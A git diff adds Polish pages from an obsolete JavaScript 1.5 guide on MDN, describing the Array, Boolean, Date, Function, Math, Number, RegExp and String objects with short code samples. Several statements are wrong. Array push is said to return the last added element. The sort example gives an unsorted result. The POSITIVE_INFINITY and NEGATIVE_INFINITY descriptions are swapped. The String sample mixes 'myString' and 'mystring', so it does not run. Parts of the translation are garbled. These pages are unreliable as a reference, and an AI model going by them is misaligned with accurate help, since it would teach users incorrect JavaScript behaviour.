+<p>Następnie kieruje się do pierwszego elementu tablicy jako <code><b>myArray{{ mediawiki.external(0) }}</b></code> i drugi element tablicy jako <code><b>myArray{{ mediawiki.external(1) }}</b></code>. Indeks elementów zaczyna się wraz z zerem (0), ale długość tablicy (na przykład, <code><b>myArray.length</b></code>) odzwierciedla numer elementów w tablicy.</p>
+<h4 id="Metody" name="Metody">Metody</h4>
+<p>Obiekt <code><strong>Array</strong></code> posiada następujące metody:</p>
+<ul>
+ <li><code><strong>concat</strong></code> dołącz dwie tablice i zwróć nową.</li>
+ <li><code><strong>join</strong></code> aby połączyć wszystkie elementy tablicy.</li>
+ <li><code><strong>pop</strong></code> usuń ostatni element z tablicy i zwróć ten element</li>
+ <li><code><strong>push</strong></code> dodaje jeden lub więcej elementów tablicy i zwraca, tego który jest ostatni dodany.</li>
+ <li><code><strong>reverse</strong></code> transportuje elementy tablicy; pierwszy element tablicy staje się ostatni i ostatni staje się pierwszym.</li>
+ <li><code><strong>shift</strong></code> usuń pierwszy element z tablicy i zwróć</li>
+ <li><code><strong>slice</strong></code> ekstrakty sekcji tablicy i zwraca nowa tablicę.</li>
+ <li><code><strong>splice</strong></code> dodaje i/lub usuwa elementy tablicy.</li>
+ <li><code><strong>sort</strong></code> sortowanie elementów w systemie.</li>
+ <li><code><strong>unshift</strong></code> dodaje jeden lub więcej elementów tablicy; tablica jest tworzona wraz z nowa długością length.</li>
+</ul>
+<p>Na przykład, przypuśćmy, że zdefiniujemy następującą tablice:</p>
+<pre>myArray = new Array("Wiatr","Deszcz","Ogień")
+</pre>
+<p><code><strong>myArray.join()</strong></code> zwraca "Wiatr","Deszcz","Ogień"; <code><strong>myArray.reverse</strong></code> transportuje tablicę więc, który <code><strong>myArray[0</strong>]</code> jest "Ogień", <code><strong>myArray{{ mediawiki.external(1) }}</strong></code> jest "Deszcz", i <code><strong>myArray{{ mediawiki.external(2) }}</strong></code> jest "Wiatr". <code><strong>myArray.sort</strong></code> sortuje tablicę więc, który <code><strong>myArray{{ mediawiki.external(0) }}</strong></code> jest "Ogień", <code><strong>myArray{{ mediawiki.external(1) }}</strong></code> jest "Deszcz", i <code><strong>myArray{{ mediawiki.external(2) }}</strong></code> jest "Wiatr".</p>
+<h4 id="Tablice_dwuwymiarowe" name="Tablice_dwuwymiarowe">Tablice dwuwymiarowe</h4>
+<p>Następujący kod tworzy tablicę dwuwymiarową.</p>
+<pre>a = new Array(4)
+for (i=0; i &lt; 4; i++) {
+ a[i] = new Array(4)
+ for (j=0; j &lt; 4; j++) {
+ a[i][j] = "["+i+","+j+"]"
+ }
+}
+</pre>
+<p>Ten przykład tworzy tablicę z następującymi wierszami:</p>
+<pre>Row 0:[0,0][0,1][0,2][0,3]
+Row 1:[1,0][1,1][1,2][1,3]
+Row 2:[2,0][2,1][2,2][2,3]
+Row 3:[3,0][3,1][3,2][3,3]
+</pre>
+<h4 id="Tablice_i_wyra.C5.BCenia_regularne" name="Tablice_i_wyra.C5.BCenia_regularne">Tablice i wyrażenia regularne</h4>
+<p>Kiedy
+ <i>
+ array</i>
+ jest rezultatem pomiędzy wyrażeniami regularnymi i łańcucha,
+ <i>
+ array</i>
+ zwraca właściwości i elementy, które dostarczają informacji o odpowiedniku. Wartość
+ <i>
+ array</i>
+ jest zwracany <code><b>RegExp.exec</b></code>, <code><b>String.match</b></code>, i <code><b>String.split</b></code>. Dla uzyskania informacji, jak używać tablicę z wyrażeniami regularnymi <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5#Wyra.C5.BCenia_regularne">Wyrażenia regularne</a>.</p>
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_boolean/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_boolean/index.html
new file mode 100644
index 0000000000..ff6e5b774a
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_boolean/index.html
@@ -0,0 +1,14 @@
+---
+title: Obiekt Boolean
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Boolean
+tags:
+ - JavaScript
+ - Wszystkie_kategorie
+---
+<p> </p>
+<h3 id="Obiekt_Boolean" name="Obiekt_Boolean">Obiekt Boolean</h3>
+<p>Obiekt <code><b>Boolean</b></code> jest otoczeniem wokół prymitywnych danych typu Boolean. Użyj następującej składni do utworzenia obiektu <code><b>Boolean</b></code>:</p>
+<pre>booleanObjectName = new Boolean(wartość)
+</pre>
+<p>Nie pomieszaj prymitywnej wartości Boolean <code><b>true</b></code> i <code><b>false</b></code> z wartościami <b>true</b> i <b>false</b> obiektu <code><b>Boolean</b></code>. Jakikolwiek obiekt którego wartość obiektu jest nie <code><b>undefined</b></code> , <code><b>null</b></code>, <code><b>0</b></code>, <code><b>NaN</b></code>, lub pusty łańcuch, włączając obiekt <code><b>Boolean</b></code>, którego wartość jest nieprawdziwa (false), ocenia jako prawdziwy (true), kiedy przechodzi do instrukcji warunkowej. Zobacz artykuł <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Instrukcje_warunkowe#Instrukcja_if...else">Instrukcja if...else</a> aby zdobyć więcej informacji.</p>
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_date/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_date/index.html
new file mode 100644
index 0000000000..e0dc4845d8
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_date/index.html
@@ -0,0 +1,87 @@
+---
+title: Obiekt Date
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Date
+tags:
+ - JavaScript
+ - Wszystkie_kategorie
+---
+<p> </p>
+<h3 id="Obiekt_Date" name="Obiekt_Date">Obiekt Date</h3>
+<p>JavaScript nie posiada danych typu date. Jednakże, możesz użyć obiektu <code><b>Date</b></code> i jego metod do pracy z datami i czasem w swoich aplikacjach. Obiekt <code><b>Date</b></code> posiada wiele metod do ustawiania, pobierania i manipulacji datami. Nie posiada żadnych właściwości.</p>
+<p>W JavaScript uchwyty dat są podobne jak w Java. Oba języki mają wiele takich samych metod i oba języki przechowują daty w liczbie milisekund od 1-ego stycznia 1970, 00:00:00.</p>
+<p>Obiekt Date jest z zakresu -100,000,000 dni do 100,000,000 dni odnosząc się do 01 stycznia, 1970 UTC.</p>
+<p>Do utworzenia obiektu <code><b>Date</b></code> służy:</p>
+<pre>dateObjectName = new Date([parameters])
+</pre>
+<p>gdzie: <code><b>dateObjectName</b></code> jest nazwą tworzonego obiektu; <code><b>Date</b></code> potrafi też być nowym obiektem lub właściwością już istniejącego obiektu.</p>
+<p>W poprzedniej składni <code><b>parameters</b></code> mogły być:</p>
+<ul>
+ <li>Niczym: tworzyć dzisiejszą datę i czas. Na przykład: <code><b>today = new Date()</b></code>.</li>
+ <li>Łańcuchem reprezentującym datę w następujących formach: "Month day, year hours:minutes:seconds." Na przykład:, <code><b>Xmas95 = new Date("December 25, 1995 13:30:00")</b></code>. Jeśli opuszczasz godziny, minuty lub sekundy to wartość ich będzie ustawiona na zero.</li>
+ <li>Ustawienia wartości liczby całkowitej dla roku, miesiąca i dnia. Na przykład, <code><b>Xmas95 = new Date(1995,11,25)</b></code>. Ustawienia wartości dla roku, miesiąca, dnia, godziny, minuty, sekund. Na przykład: <code><b>Xmas95 = new Date(1995,11,25,9,30,0)</b></code>.</li>
+</ul>
+<p><b>JavaScript 1.2 i wcześniejsze</b><br>
+ Obiekt <code><b>Date</b></code> postępuje następująco:</p>
+<ul>
+ <li>Daty z przed roku 1970 nie są uznawane.</li>
+ <li>Data w JavaScript zależy od dostępności i zachowania rodzaju platformy; zachowanie platform obiektu <code><b>Date</b></code> różnią się pomiędzy sobą.</li>
+</ul>
+<h4 id="Metody_obiektu_Date" name="Metody_obiektu_Date">Metody obiektu Date</h4>
+<p>Metody obiektu <code><b>Date</b></code> są do obsługi daty i czasu zawartego w tych obszernych kategoriach:</p>
+<ul>
+ <li>metody "<code><b>set</b></code>", służy do ustawienia wartości daty i czasu w obiektach <code><b>Date</b></code>.</li>
+ <li>metody "<code><b>get</b></code>", służą do pobrania wartości daty i czasu w obiektach <code><b>Date</b></code>.</li>
+ <li>metody "<code><b>to</b></code>", służy do powtórzenia łańcuchów wartości z obiektów <code><b>Date</b></code>.</li>
+ <li>parsowanie i metody UTC, służą do analizy składniowej łańcuchów <code><b>Date</b></code>.</li>
+</ul>
+<p>Z metodami "<code><b>get</b></code>" i "<code><b>set</b></code>" możemy pobrać i ustawić sekundy, minuty, godziny, dni miesiąca, dni tygodnia, miesiące, jak i poszczególne lata. Istnieje metoda <code><b>getDay</b></code>, która zwraca dzień tygodnia, ale nie współpracuje z metodą <code><b>setDay</b></code>, ponieważ dzień tygodnia jest ustawiany automatycznie. Te metody używają liczb całkowitych do reprezentacji następujących wartości:</p>
+<ul>
+ <li>Sekund /i minut: 0 do 59</li>
+ <li>Godziny: 0 do 23</li>
+ <li>Dzień: 0 (Niedziela) do 6 (Sobota)</li>
+ <li>Data: 1 do 31 (dzień miesiąca)</li>
+ <li>Miesiące: 0 (Styczeń) do 11 (Grudzień)</li>
+ <li>Lata: lata od 1900</li>
+</ul>
+<p>Na przykład, przypuśćmy, że zdefiniowałeś następującą datę:</p>
+<pre>Xmas95 = new Date("December 25, 1995")
+</pre>
+<p>Następnie <code><b>Xmas95.getMonth()</b></code> zwraca 11, i <code><b>Xmas95.getFullYear()</b></code> zwraca 1995.</p>
+<p>Metody <code><b>getTime</b></code> i <code><b>setTime</b></code> są użyteczne dla porównania dat. Metoda <code><b>getTime</b></code> zwraca liczbę milisekund od 1 stycznia 1970, 00:00:00 (
+ <i>
+ January 1, 1970, 00:00:00</i>
+ ) dla obiektu <code><b>Date</b></code>.</p>
+<p>Na przykład, następujący kod wyświetla liczbę dni opuszczonych w aktualnym roku:</p>
+<pre>today = new Date()
+endYear = new Date(1995,11,31,23,59,59,999) // Ustawia dni i miesiące
+endYear.setFullYear(today.getFullYear()) // Ustawia ilość lat '''(?)'''
+msPerDay = 24 * 60 * 60 * 1000 // Liczba milisekund na dzień
+daysLeft = (endYear.getTime() - today.getTime()) / msPerDay
+daysLeft = Math.round(daysLeft) //zwraca dni opuszczone dni w roku
+</pre>
+<p>Ten przykład stworzył obiekt <code><b>Date</b></code> nazywany <b>today</b>, który stanowi dzisiejszą datę. Następnie utworzył obiekt <code><b>Date</b></code> nazwany <code><b>endYear</b></code> i ustawi się od roku do aktualnego roku. Następnie, użyje liczbę milisekund na dzień, to obliczy liczbę dni pomiędzy dzisiejszym dniem <b>today</b> a <code><b>endYear</b></code>, używających <code><b>getTime</b></code> i zaokrąglenie do liczby dni.</p>
+<p>Metoda <code><b>parse</b></code> jest użyteczna dla przydzielania wartości z łańcucha daty do wykorzystania przez obiekty <code><b>Date</b></code>. Na przykład, następujący kod używa <code><b>parse</b></code> i <code><b>setTime</b></code> do przydzielenia wartości obiektu <code><b>IPOdate</b></code>:</p>
+<pre>IPOdate = new Date()
+IPOdate.setTime(Date.parse("Aug 9, 1995"))
+</pre>
+<h4 id="U.C5.BCywanie_obiektu_Date:_Przyk.C5.82ad" name="U.C5.BCywanie_obiektu_Date:_Przyk.C5.82ad">Używanie obiektu Date: Przykład</h4>
+<p>W następującym przykładzie, funkcja <code><b>JSClock()</b></code> zwraca czas w formacie zegara cyfrowego.</p>
+<pre>function JSClock() {
+ var time = new Date()
+ var hour = time.getHours()
+ var minute = time.getMinutes()
+ var second = time.getSeconds()
+ var temp = "" + ((hour &gt; 12) ? hour - 12 : hour)
+ if (hour == 0)
+ temp = "12";
+ temp += ((minute &lt; 10) ? ":0" : ":") + minute
+ temp += ((second &lt; 10) ? ":0" : ":") + second
+ temp += (hour &gt;= 12) ? " P.M." : " A.M."
+ return temp
+}
+</pre>
+<p>Pierwsza funkcja <code><b>JSClock</b></code> tworzy nowy obiekt <code><b>Date</b></code>, który nazywany jest <code><b>time</b></code>; nie dający argumentów, czas jest tworzony z aktualną datą i czasem. Następnie metody <code><b>getHours</b></code>, <code><b>getMinutes</b></code>, i <code><b>getSeconds</b></code> przypisują wartości aktualnej godziny, minuty i sekundy do <code><b>hour</b></code>, <code><b>minute</b></code>, i <code><b>second</b></code>.</p>
+<p>Następne cztery linijki instrukcji budują łańcuch wartości oparty na czasie. Pierwsza instrukcja tworzy zmienne <code><b>temp</b></code>, przydzielając jej wartość używanego warunku wyrażenia; jeśli <code><b>hour</b></code> jest wyższa niż 12, (godzina - 12), w innym przypadku prosta godzina, chyba że jest godzina 0, która to staje się 12.</p>
+<p>Następna instrukcja przypisuje wartość <code><b>minute</b></code> do temp. Jeśli wartość <code><b>minute</b></code> jest mniejsza niż 10, wyrażenie warunkowe dodaje łańcuch z poprzedzającym ją zerem; w innym przypadku dodaje rozgraniczający dwukropek. Następnie instrukcja dołącza sekundy do temp w ten sam sposób.</p>
+<p>Kończąc, wyrażenie warunkowe dołącza "<code><b>PM</b></code>" do temp, jeśli <code><b>hour</b></code> posiada wartość 12 lub wyższą; w innym przypadku, to dołącza "<code><b>AM</b></code>" do <code><b>temp</b></code>.</p>
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_function/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_function/index.html
new file mode 100644
index 0000000000..02eef23d82
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_function/index.html
@@ -0,0 +1,50 @@
+---
+title: Obiekt function
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_function
+tags:
+ - JavaScript
+ - Przewodnik_JavaScript
+ - Wszystkie_kategorie
+---
+<p> </p>
+<h3 id="Obiekt_Function" name="Obiekt_Function">Obiekt Function</h3>
+<p>Predefiniowany obiekt <code>Function</code> określa łańcuch znaków do skompilowania jako funkcja.</p>
+<p>Aby utworzyć obiekt <code>Function</code>:</p>
+<pre>nazwaObiektuFunkcji = new Function ([arg1, arg2, ... argn], cialoFunkcji)
+</pre>
+<p><code>nazwaObiektuFunkcji</code> jest nazwą zmiennej lub własności istniejącego obiektu. Może to być również obiekt, po którym następuje zapisana małymi literami nazwa uchwytu zdarzenia, jak np. <code>window.onerror</code>.</p>
+<p><code>arg1</code>, <code>arg2</code>, ... <code>argn</code> są argumentami, które mają być użyte przez funkcję jako formalne nazwy argumentów. Każda z nich musi być łańcuchem znaków spełniającym zasady poprawnego identyfikatora JavaScript; przykładowo "x" lub "theForm".</p>
+<p><code>cialoFunkcji</code> jest łańcuchem znaków określającym kod JavaScript, który ma zostać skompilowany jako ciało funkcji.</p>
+<p>Obiekty <code>Function</code> są przetwarzane przy każdym użyciu. Jest to mniej skutecznie niż deklarowanie funkcji i wywoływanie jej wewnątrz kodu, ponieważ zadeklarowane funkcje są kompilowane.</p>
+<p>Oprócz definiowania funkcji w sposób opisany tutaj, możesz również użyć instrukcji <code>function</code> i wyrażenia funkcji. Zobacz <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5">Dokumentacja języka JavaScript 1.5</a>, aby uzyskać więcej informacji.</p>
+<p>Poniższy kod przypisuje funkcję do zmiennej <code>ustawKolorTla</code>. Funkcja ta ustawia obecny kolor tła dokumentu.</p>
+<pre>var ustawKolorTla = new Function("document.bgColor='antiquewhite'")
+</pre>
+<p>Aby wywołać obiekt <code>Function</code>, możesz określić nazwę zmiennej tak, jak gdyby była to funkcja. Poniższy kod wykonuje funkcję określoną przez zmienną <code>ustawKolorTla</code>:</p>
+<pre>var wyborKoloru="antiquewhite"
+if (wyborKoloru=="antiquewhite") {ustawKolorTla()}
+</pre>
+<p>Możesz przypisać funkcję do uchwytu zdarzenia w jeden z następujących sposobów:</p>
+<pre>1. document.form1.colorButton.onclick=ustawKolorTla
+2. &lt;INPUT NAME="kolorPrzycisku" TYPE="button"
+ VALUE="Zmień kolor tła"
+ onClick="ustawKolorTla()"&gt;
+</pre>
+<p>Tworzenie zmiennej <code>ustawKolorTla</code> pokazane powyżej jest podobne do deklarowania następującej funkcji:</p>
+<pre>function ustawKolorTla() {
+ document.bgColor='antiquewhite'
+}
+</pre>
+<p>Przypisywanie funkcji do zmiennej jest podobne do deklarowania funkcji, są jednak pewne różnice:</p>
+<ul>
+ <li>Gdy przypisujesz funkcję do zmiennej używając var <code>ustawKolorTla = new Function("...")</code>, <code>ustawKolorTla</code> jest zmienną, dla której obecnej wartość jest odniesieniem do funkcji stworzonej za pomocą new <code>Function()</code>.</li>
+ <li>Gdy tworzysz funkcję używając <code>function ustawKolorTla() {...}</code>, <code>ustawKolorTla</code> nie jest zmienną, ale nazwą funkcji.</li>
+</ul>
+<p>Możesz zagnieździć funkcję wewnątrz funkcji. Zagnieżdżona (wewnętrzna) funkcja jest prywatna do zawierającej ją (zewnętrznej) funkcji:</p>
+<ul>
+ <li>Dostęp do wewnętrznej funkcji może być osiągnięty tylko przez instrukcje w funkcji zewnętrznej.</li>
+ <li>Funkcja wewnętrzna może używać tych samych argumentów i zmiennych, co funkcja zewnątrzna. Funkcja zewnętrzna nie może używać argumentów i zmiennych funkcji wewnętrznej.</li>
+</ul>
+<div class="noinclude">
+  </div>
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_math/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_math/index.html
new file mode 100644
index 0000000000..b09ad2f801
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_math/index.html
@@ -0,0 +1,72 @@
+---
+title: Obiekt Math
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Math
+tags:
+ - JavaScript
+ - Wszystkie_kategorie
+---
+<p> </p>
+<h3 id="Obiekt_Math" name="Obiekt_Math">Obiekt Math</h3>
+<p>Obiekt predefiniowany <code><b>Math</b></code> posiada właściwości i metody dla stałych matematycznych i funkcji. Na przykład: obiekt <code><b>Math</b></code> <code><b>PI</b></code> pi posiada wartość (3.141...), który będzie używany w aplikacji jako:</p>
+<pre>Math.PI
+</pre>
+<p>Podobnie, standardowe funkcje matematyczne są metodami Math. Włączając trygonometryczne, logarytmiczne, wykładnicze i inne funkcje. Na przykład, jeśli chcesz użyć funkcji trygonometryczej <b>sine</b>, musisz napisać:</p>
+<pre>Math.sin(1.56)
+</pre>
+<p>Wszystkie metody trygonometryczne <code><b>Math</b></code> pobierają argumenty w radianach.</p>
+<p>Następująca tabela podsumowuje metodę <code><b>Math</b></code>.</p>
+<table class="fullwidth-table">
+ <tbody>
+ <tr>
+ <th>Metoda</th>
+ <th>Opis</th>
+ </tr>
+ <tr>
+ <td><b>abs</b></td>
+ <td>Wartość bezwzględna argumentu</td>
+ </tr>
+ <tr>
+ <td><b>sin, cos, tan</b></td>
+ <td>Standardowe funkcje trygonometryczne; argumenty w radianach</td>
+ </tr>
+ <tr>
+ <td><b>acos, asin, atan, atan2</b></td>
+ <td>Odwrotne funkcje trygonometryczne; zwracają wartość w radianach</td>
+ </tr>
+ <tr>
+ <td><b>exp, log</b></td>
+ <td>Wykładniczy i naturalny logarytm, podstawą jest <sub><b>e</b></sub></td>
+ </tr>
+ <tr>
+ <td><b>ceil</b></td>
+ <td>Zwraca najmniejszą liczbę całkowitą większą bądź równą argumentowi</td>
+ </tr>
+ <tr>
+ <td><b>floor</b></td>
+ <td>Zwraca największą liczbę całkowitą mniejszą bądź równą argumentowi</td>
+ </tr>
+ <tr>
+ <td><b>min, max</b></td>
+ <td>Zwraca większą lub mniejeszą (jedną z podanych) z dwóch argumentów</td>
+ </tr>
+ <tr>
+ <td><b>pow</b></td>
+ <td>Wykładniczy; pierwszy argument jest podstawą, drugi jest wykładnikiem</td>
+ </tr>
+ <tr>
+ <td><b>random</b></td>
+ <td>Zwraca przypadkową liczbę pomiędzy 0 i 1.</td>
+ </tr>
+ <tr>
+ <td><b>round</b></td>
+ <td>Zwraca argumenty najbliższe liczbie całkowitej</td>
+ </tr>
+ <tr>
+ <td><b>sqrt</b></td>
+ <td>Zwraca pierwiastek kwadratowy argumentu</td>
+ </tr>
+ </tbody>
+</table>
+<p><small><b>Tabela: Metody Math</b></small></p>
+<p>Wiele innych niepodobnych obiektów, nigdy nie utworzy dla siebie obiektu <code><b>Math</b></code>. Zawsze używaj predefiniowanego obiektu <code><b>Math</b></code>.</p>
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_number/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_number/index.html
new file mode 100644
index 0000000000..d66696774b
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_number/index.html
@@ -0,0 +1,83 @@
+---
+title: Obiekt Number
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Number
+tags:
+ - JavaScript
+ - Przewodnik_JavaScript
+ - Wszystkie_kategorie
+---
+<p> </p>
+<h3 id="Obiekt_Number" name="Obiekt_Number">Obiekt Number</h3>
+<p>Obiekt <code><b>Number</b></code> posiada własności dla stałych liczbowych, takie jak wartość maksymalna, not-a-number (nie-liczba) i nieskończoność. Nie możesz zmieniać wartości tych własności. Używa się ich następująco:</p>
+<pre>biggestNum = Number.MAX_VALUE
+smallestNum = Number.MIN_VALUE
+infiniteNum = Number.POSITIVE_INFINITY
+negInfiniteNum = Number.NEGATIVE_INFINITY
+notANum = Number.NaN
+</pre>
+<p>Możesz zawsze odwołać się do własności predefiniowanego obiektu <code>Number</code> w sposób pokazany powyżej, lecz nie jako własności obiektu <code>Number</code>, który sam utworzyłeś.</p>
+<p>Poniższa tabela podsumowuje własności obiektu <code><b>Number</b></code> .</p>
+<table class="fullwidth-table">
+ <tbody>
+ <tr>
+ <th>Własność</th>
+ <th>Opis</th>
+ </tr>
+ <tr>
+ <td><b>MAX_VALUE</b></td>
+ <td>Największa możliwa do przedstawienia liczba</td>
+ </tr>
+ <tr>
+ <td><b>MIN_VALUE</b></td>
+ <td>Najmniejsza możliwa do przedstawienia liczba</td>
+ </tr>
+ <tr>
+ <td><b>NaN</b></td>
+ <td>Specjalna wartość "nieliczbowa"</td>
+ </tr>
+ <tr>
+ <td><b>NEGATIVE_INFINITY</b></td>
+ <td>Specjalna wartość nieskończoności; zwracana przy przepełnieniu</td>
+ </tr>
+ <tr>
+ <td><b>POSITIVE_INFINITY</b></td>
+ <td>Specjalna wartość ujemnej nieskończoności; zwracana przy przepełnieniu</td>
+ </tr>
+ </tbody>
+</table>
+<p><small><b>Tabela 7.2: Własności obiektu Number</b></small></p>
+<p>Prototyp Number dostarcza metod używanych w celu uzyskiwania w różnych formatach informacji z obiektów Number. Poniższa tabelka podsumowuje metody <code>Number.prototype</code>.</p>
+<table class="fullwidth-table">
+ <tbody>
+ <tr>
+ <th>Metoda</th>
+ <th>Opis</th>
+ </tr>
+ <tr>
+ <td><b>toExponential</b></td>
+ <td>Zwraca łańcuch znaków reprezentujący liczbę w notacji wykładniczej.</td>
+ </tr>
+ <tr>
+ <td><b>toFixed</b></td>
+ <td>Zwraca łańcuch znaków reprezentujący liczbę w notacji stałoprzecinkowej.</td>
+ </tr>
+ <tr>
+ <td><b>toPrecision</b></td>
+ <td>Zwraca łańcuch znaków reprezentujący z określoną dokładnością w notacji stałoprzecinkowej.</td>
+ </tr>
+ <tr>
+ <td><b>toSource</b></td>
+ <td>Zwraca obiekt literałowy reprezentujący określony obiekt Number; możesz użyć tej wartości do stworzenia nowego obiektu. Nadpisuje metodę Object.toSource.</td>
+ </tr>
+ <tr>
+ <td><b>toString</b></td>
+ <td>Zwraca łańcuch znaków reprezentujący dany obiekt. Nadpisuje metodę Object.toString.</td>
+ </tr>
+ <tr>
+ <td><b>valueOf</b></td>
+ <td>Zwraca pierwotną wartość określonego obiektu. Nadpisuje metodę Object.valueOf.</td>
+ </tr>
+ </tbody>
+</table>
+<p><small><b>Tabela: Metody Number.prototype</b></small> {{ PreviousNext("Przewodnik po języku JavaScript 1.5:Obiekty predefiniowane:Obiekt Math", "Przewodnik po języku JavaScript 1.5:Obiekty predefiniowane:Obiekt RegExp") }}</p>
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_regexp/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_regexp/index.html
new file mode 100644
index 0000000000..120abc3cb9
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_regexp/index.html
@@ -0,0 +1,12 @@
+---
+title: Obiekt RegExp
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_RegExp
+tags:
+ - JavaScript
+ - Przewodnik_JavaScript
+ - Wszystkie_kategorie
+---
+<p> </p>
+<h3 id="Obiekt_RegExp" name="Obiekt_RegExp">Obiekt RegExp</h3>
+<p>Obiekt <code><b>RegExp</b></code> umożliwia działanie na wyrażeniach regularnych. Został on opisany w Rozdziale 4, <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5#Wyra.C5.BCenia_regularne">Wyrażenia regularne</a>. {{ PreviousNext("Przewodnik po języku JavaScript 1.5:Obiekty predefiniowane:Obiekt Number", "Przewodnik po języku JavaScript 1.5:Obiekty predefiniowane:Obiekt String") }}</p>
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_string/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_string/index.html
new file mode 100644
index 0000000000..dc7aa33326
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/obiekty_predefiniowane/obiekt_string/index.html
@@ -0,0 +1,92 @@
+---
+title: Obiekt String
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_String
+tags:
+ - JavaScript
+ - Przewodnik_JavaScript
+ - Wszystkie_kategorie
+---
+<p> </p>
+<h3 id="Obiekt_String" name="Obiekt_String">Obiekt String</h3>
+<p>Obiekt <code>String</code> ma jedną własność, <code>length</code>, która wskazuje liczbę znaków w łańcuchu znaków. Przykładowo, poniższy kod przypisuje zmiennej <code>x</code> wartość 13, ponieważ "Hello, World!" ma 13 znaków:</p>
+<pre>myString = "Hello, World!"
+x = mystring.length
+</pre>
+<p>Obiekt <code>String</code> posiada dwa typy metod: zwracające zmienność samego łańcucha znaków, takie jak <code>substring</code> i <code>toUpperCase</code> oraz te, które zwracają wersję łańcucha sformatowaną jako kod HTML, takie jak <code>bold</code> i <code>link</code>.</p>
+<p>Na przykład używając poprzedniego przykładu, zarówno <code>mystring.toUpperCase()</code> jak i <code>"hello, world!".toUpperCase()</code> zwrócą łańcuch "HELLO, WORLD!"</p>
+<p>Metoda <code>substring</code> pobiera dwa argumenty i zwraca podzbiór łańcucha znaków pomiędzy tymi dwoma argumentami. Posługując się powyższym przykładem, mystring.substring(4, 9) zwróci łańcuch "o, Wo". Zobacz metodę <code>substring</code> obiektu String w <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5">Dokumentacja języka JavaScript 1.5</a>, aby uzyskać więcej informacji.</p>
+<p>Obiekt <code>String</code> posiada również wiele metod do automatycznego formatowania kodu HTML, takie jak <code>bold</code> do tworzenia pogrubionego tekstu i <code>link</code> do tworzenia hiperłącz. Przykładowo, możesz utworzyć hiperłącze do hipotetycznego adresu URL przy użyciu metody <code>link</code> w następujący sposób:</p>
+<pre>mystring.link("http://www.helloworld.com")
+</pre>
+<p>Poniższe tabela podsumowuje metody obiektu <code>String</code>.</p>
+<table class="fullwidth-table">
+ <tbody>
+ <tr>
+ <th>Metody</th>
+ <th>Opis</th>
+ </tr>
+ <tr>
+ <td><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/String/anchor">anchor</a></td>
+ <td>Tworzy nazwaną kotwicę HTML.</td>
+ </tr>
+ <tr>
